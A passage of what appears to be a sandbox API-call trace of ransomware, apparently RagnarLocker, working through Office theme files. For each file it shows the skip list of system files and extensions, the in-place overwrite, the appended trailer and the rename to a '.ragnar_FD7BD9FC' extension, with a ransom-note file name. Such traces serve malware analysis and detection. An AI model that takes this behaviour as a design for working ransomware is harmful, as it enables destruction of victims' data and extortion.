ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0071.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.259] lstrcpyW (in: lpString1=0x1eab72, lpString2="BOLDSTRI.ELM" | out: lpString1="BOLDSTRI.ELM") returned="BOLDSTRI.ELM" [0071.259] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned=".ELM" [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="autorun.inf") returned 1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="boot.ini") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="bootfont.bin") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="bootsect.bak") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="bootmgr") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="bootmgr.efi") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="bootmgfw.efi") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="desktop.ini") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="iconcache.db") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="ntldr") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="ntuser.dat") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="ntuser.dat.log") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="ntuser.ini") returned -1 [0071.259] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="thumbs.db") returned -1 [0071.259] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.259] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.260] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.260] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.260] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.260] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.260] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0071.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.260] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=60154) returned 1 [0071.260] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xeaf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.260] GetProcessHeap () returned 0x580000 [0071.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.260] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.310] VirtualAlloc (lpAddress=0x0, dwSize=0xeafa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.310] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.310] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.310] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xeafa, lpOverlapped=0x0) returned 1 [0071.312] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.312] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeafa, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.312] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeafa, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xeafa, lpOverlapped=0x0) returned 1 [0071.313] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeafa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.313] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.313] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xeafa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.313] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.313] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.313] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.313] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.313] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.314] GetProcessHeap () returned 0x580000 [0071.314] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.314] CloseHandle (hObject=0x100) returned 1 [0071.315] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" [0071.315] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.ragnar_FD7BD9FC" [0071.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.317] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0071.317] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.317] lstrcpyW (in: lpString1=0x1eab72, lpString2="BOLDSTRI.INF" | out: lpString1="BOLDSTRI.INF") returned="BOLDSTRI.INF" [0071.317] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned=".INF" [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="autorun.inf") returned 1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="boot.ini") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="bootfont.bin") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="bootsect.bak") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="bootmgr") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="bootmgr.efi") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="bootmgfw.efi") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="desktop.ini") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="iconcache.db") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="ntldr") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="ntuser.dat") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="ntuser.dat.log") returned -1 [0071.317] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="ntuser.ini") returned -1 [0071.318] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="thumbs.db") returned -1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.318] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0071.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.318] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=596) returned 1 [0071.318] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x24b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.318] GetProcessHeap () returned 0x580000 [0071.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.318] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.319] VirtualAlloc (lpAddress=0x0, dwSize=0x254, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.319] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.319] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.319] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x254, lpOverlapped=0x0) returned 1 [0071.319] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.320] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x254, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.320] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x254, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x254, lpOverlapped=0x0) returned 1 [0071.320] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x254, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.320] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.320] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.320] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.320] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.320] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.320] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.320] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.320] GetProcessHeap () returned 0x580000 [0071.320] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.320] CloseHandle (hObject=0x100) returned 1 [0071.322] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" [0071.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.ragnar_FD7BD9FC" [0071.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.323] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.323] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.323] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned=".GIF" [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.323] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.323] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.323] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.323] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.324] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.324] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.324] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.324] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0071.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.324] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3479) returned 1 [0071.324] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xd8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.324] GetProcessHeap () returned 0x580000 [0071.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.324] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.326] VirtualAlloc (lpAddress=0x0, dwSize=0xd97, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.326] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.326] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.326] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd97, lpOverlapped=0x0) returned 1 [0071.326] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.326] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd97, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.326] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd97, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd97, lpOverlapped=0x0) returned 1 [0071.326] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd97, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.326] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.327] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xd97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.327] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.327] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.327] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.327] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.327] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.327] GetProcessHeap () returned 0x580000 [0071.327] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.327] CloseHandle (hObject=0x100) returned 1 [0071.328] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" [0071.328] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.328] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.329] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb7a740, ftCreationTime.dwHighDateTime=0x1d5e0db, 